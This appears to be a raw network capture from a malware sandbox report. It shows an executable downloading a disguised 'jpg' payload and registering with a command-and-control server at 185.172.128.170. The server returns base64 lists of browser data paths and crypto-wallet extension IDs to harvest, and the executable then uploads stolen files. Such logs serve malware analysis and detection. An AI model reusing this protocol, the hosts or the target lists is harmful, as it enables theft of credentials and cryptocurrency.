May 24, 2024 09:42:23.603358030 CEST	448	IN	Data Raw: 3b 69 f1 6a 28 ce e2 71 ce 41 cf 76 ef d1 77 7c 6e 6b 85 dc 4e 7c 73 93 1f 1a f8 93 b6 9e cd a3 c2 dc 36 cb 67 a0 f2 5a 69 24 0c af a5 68 37 a2 97 a3 dd ea b5 c4 7d 77 5f 59 f1 be 44 e4 c5 f3 3f 23 86 f1 e5 b8 df ec 0f b5 ca 9d 9f af 6e 1f 55 52 Data Ascii: ;ij(qAvw\|nkN\|s6gZi$h7}w_YD?#nUR]J#Sz~\|_\_I1}Z'pMV^EMLl9\F7Ym{om)8!sGTM?.3R,<_.Hd\|Bip]xW=m\|r6Vv
May 24, 2024 09:42:23.606750011 CEST	1236	IN	Data Raw: c1 56 0c af 4b 10 83 aa 79 24 75 11 44 80 7b 15 16 6c f6 56 28 9d 7a 1b db 37 6b cf fe 8b d7 eb df 6b 59 f5 b9 54 38 e8 4e 83 2f 80 68 58 00 65 1a df a7 45 66 51 f3 45 03 8e 6a 64 ed 42 35 6b 3d 04 d6 77 1d ac 94 5e 2d 81 34 f1 59 de 28 0b 4f 14 Data Ascii: VKy$uD{lV(z7kkYT8N/hXeEfQEjdB5k=w^-4Y(ON=P~)@~!.?MU`jXi*5\a@[K/a5$9$rZy5N2N/}V@^{f hP8A~_5FZOHMyXjJ4 7q6l^<3
May 24, 2024 09:42:23.606786013 CEST	1236	IN	Data Raw: cc 4b a7 fe d5 4e cf 97 9a 56 a5 04 75 2e d4 9d 3c 02 c0 03 2f 23 61 aa b3 06 10 f9 23 0e 92 23 13 8d ee d3 94 91 f3 84 01 a3 24 b9 56 94 b0 ce 89 84 ee 7c 54 2c 81 37 4c 08 39 28 07 40 4c 05 01 36 b4 5e ea 6c e8 0c d0 00 d1 67 f9 5b 54 a9 37 9a Data Ascii: KNVu.</#a##$V\|T,7L9(@L6^lg[T7:YN'aDL5e%oEVtBQ!E%8<~_\|u a`z uRlhva-dE@l,y-f1&6Ehk-V`kMpMeR)XO-wY
May 24, 2024 09:42:23.606817961 CEST	1236	IN	Data Raw: 22 c8 06 68 59 55 44 c0 08 33 d8 20 1c 01 74 e1 53 e5 3a 9b 68 aa fa 28 90 17 01 63 94 15 36 f8 14 42 4a c4 ab 94 27 6b 25 f5 0f 3a cc 7c 57 ed 71 f9 6f 2e 3e 45 99 de 28 be 93 8e 3a 82 07 6a 54 cb ba 8f a8 8d 70 b2 db 10 34 67 92 9c f9 3c 53 97 Data Ascii: "hYUD3 tS:h(c6BJ'k%:\|Wqo.>E(:jTp4g<S'B9.N]\38l5){XnLu6;&\<_E8FcB+N+BFa;Nh5uH-1@}1A~Mk #E
May 24, 2024 09:42:23.611085892 CEST	1236	IN	Data Raw: 81 11 71 22 c4 68 8b 80 33 7b cb 1f 47 f4 58 1c 90 22 6f 00 1d 13 a7 1e 65 71 e2 bf 69 7e 5f 67 91 5c 78 a2 8b 8e a7 69 82 a3 1f 6e 6c bd a6 d7 11 c8 ae 8c 26 c9 62 27 5e ca 73 e3 d9 5c 36 23 9c 96 1c 7e 2c 6f 1a 59 ec b4 38 70 49 28 de 8c 41 7b Data Ascii: q"h3{GX"oeqi~_g\xinl&b'^s\6#~,oY8pI(A{'AjY_/HWXeda qUGe[FCcb.`y7XYi6n(+PZ<k\XPkHZn4w H/#*n
May 24, 2024 09:42:23.613640070 CEST	1236	IN	Data Raw: 23 a2 3d 04 ac ee 57 4b cc 15 9d d4 a7 72 a0 ec ef 2c 69 fd 16 1b c9 23 89 bf 9f cc 9d 28 f2 d2 fb 75 5f b3 6d f9 9f 1f 65 bc d2 f7 46 cb 97 a8 9b 5d d4 14 60 e5 c8 40 ef 6a e8 c2 e9 27 ce 47 22 55 79 c0 71 21 bf 32 8f 28 05 0f 71 03 88 fd 69 20 Data Ascii: #=WKr,i#(u_meF]`@j'G"Uyq!2(qi f^E+Y\SbAuO"E&juSgJ#K!xDZR5[OI~MU@@Xc@~N+x\|J(K~?FVpt#@w
May 24, 2024 09:42:23.613672972 CEST	1236	IN	Data Raw: f2 52 a8 9b f9 fc c9 d2 8f 29 cd 67 65 b6 ab f5 eb 6b f3 3e 32 bf 10 6d b5 4f 1a 5c de 93 69 5b e0 e4 a2 02 b7 9e 88 f9 8a 8a 0b 31 4b 61 30 f3 d1 00 fb c7 0e a8 d8 15 b2 95 a4 9f 54 d8 33 1f 7e aa e4 9b 45 82 b5 c9 67 d2 34 28 7e 96 be 89 f1 f6 Data Ascii: R)gek>2mO\i[1Ka0T3~Eg4(~kAS4VFd+oBG9I`I[D-G(eVnh+ni*@5N 4~Efo~@<)>Shb}_k);4Y/0(#a, ;jc5{
May 24, 2024 09:42:23.619025946 CEST	1236	IN	Data Raw: 8d 1e e5 03 42 35 ca 88 78 dd af 35 5b a5 46 6c 83 d6 53 7b 8c b2 82 b5 e3 d6 55 87 49 38 7e a9 de cb 42 b6 4d 2d fa a2 74 3d 0a d9 35 b2 da 26 e5 a1 04 96 ea 9c 46 e7 a5 88 e5 b2 b9 96 93 75 47 64 be 05 5a 44 12 1f 14 f6 5e d3 6c 86 fc d3 d9 69 Data Ascii: B5x5[FlS{UI8~BM-t=5&FuGdZD^liqs1[)#N fLGUAf9y-2p@@(R-.fJ\|Pdy d65((e JpE'<k -J.@C\|5Wpx6Ut%wqPg<
May 24, 2024 09:42:23.619059086 CEST	1236	IN	Data Raw: da 5d 55 eb da 05 6b ed d5 2d c0 93 64 d5 39 db 3b 2e c5 64 a3 aa 73 a4 dc 6f b4 9b 28 e7 c9 54 ed 22 b6 41 6e 69 dc 6c 2b e8 66 49 64 fd b0 cb ba 20 90 9d 01 5a 4e fb 45 94 46 49 d0 1d 53 d6 84 a2 b2 52 0f 3b 59 57 f9 28 76 cd a6 a5 54 cb 63 c6 Data Ascii: ]Uk-d9;.dso(T"Anil+fId ZNEFISR;YW(vTc7Q,G8g`[{MG8'is;j=\X[dYg@mS,5^@YA+Q9vU}6a0IPsS`;eRH7c=,EwP/,6Tg0@ZKr;
May 24, 2024 09:42:24.994082928 CEST	309	OUT	GET /aaaaaaaa.jpg HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: sta.alie3ksgee.com Connection: Keep-Alive
May 24, 2024 09:42:25.329998016 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:42:25 GMT Content-Type: image/jpeg Content-Length: 1940147 Last-Modified: Thu, 23 May 2024 10:20:04 GMT Connection: keep-alive ETag: "664f1854-1d9ab3" Expires: Sun, 23 Jun 2024 07:42:25 GMT Cache-Control: max-age=2592000 Accept-Ranges: bytes Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff fe 00 3b 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 38 30 29 2c 20 71 75 61 6c 69 74 79 20 3d 20 38 35 0a ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 03 20 02 58 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 [TRUNCATED] Data Ascii: JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85C!"$"$C X"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?.(((((((:2C$0)%!.2\l&;2GZr85+l' +DP9bR2r^(+=Uuy=E+ ,2#_9d{(b;SHAQEtZ?E-RPQKQ@E-%R%(c2K"F1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49809	185.172.128.170	80	4048	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:23.306775093 CEST	418	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEHJJDAAAKEBGCFCAA Host: 185.172.128.170 Content-Length: 216 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 41 37 38 41 31 32 34 36 33 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 2d 2d 0d 0a Data Ascii: ------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="hwid"1A78A124633B3023011859------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="build"default11------GHJEHJJDAAAKEBGCFCAA--
May 24, 2024 09:42:24.459434986 CEST	384	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:23 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 59 32 5a 6a 6c 6a 5a 54 42 6a 4d 7a 4a 69 4e 57 59 79 4d 6a 68 69 59 6d 55 79 59 57 59 78 4f 44 4d 34 5a 54 56 69 59 6a 52 6b 4d 54 63 77 4d 7a 41 35 59 6d 49 79 4f 44 49 31 4d 54 6c 69 4d 54 52 68 4e 7a 55 77 59 57 4d 77 4d 47 4d 30 4e 6a 4e 6a 4e 44 6c 68 4d 7a 4e 69 59 32 56 69 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 42 38 4d 58 77 3d Data Ascii: ZmY2ZjljZTBjMzJiNWYyMjhiYmUyYWYxODM4ZTViYjRkMTcwMzA5YmIyODI1MTliMTRhNzUwYWMwMGM0NjNjNDlhMzNiY2VifGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDF8MHwxfDF8MXwxfDB8MXw=
May 24, 2024 09:42:24.732558012 CEST	470	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJE Host: 185.172.128.170 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="message"browsers------DBAEGCGCGIEGDHIDHJJE--
May 24, 2024 09:42:24.929053068 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:24 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
May 24, 2024 09:42:24.929089069 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
May 24, 2024 09:42:25.189728022 CEST	469	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECB Host: 185.172.128.170 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 2d 2d 0d 0a Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="message"plugins------GCGDGHCBGDHJJKECAECB--
May 24, 2024 09:42:25.528790951 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:25 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
May 24, 2024 09:42:25.528822899 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
May 24, 2024 09:42:25.528855085 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
May 24, 2024 09:42:25.530512094 CEST	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
May 24, 2024 09:42:25.530545950 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
May 24, 2024 09:42:25.530576944 CEST	28	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 77 3d Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHw=
May 24, 2024 09:42:25.535444021 CEST	28	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 77 3d Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHw=
May 24, 2024 09:42:25.943742037 CEST	203	OUT	POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIEC Host: 185.172.128.170 Content-Length: 6691 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 09:42:25.943778038 CEST	6691	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
May 24, 2024 09:42:26.260042906 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
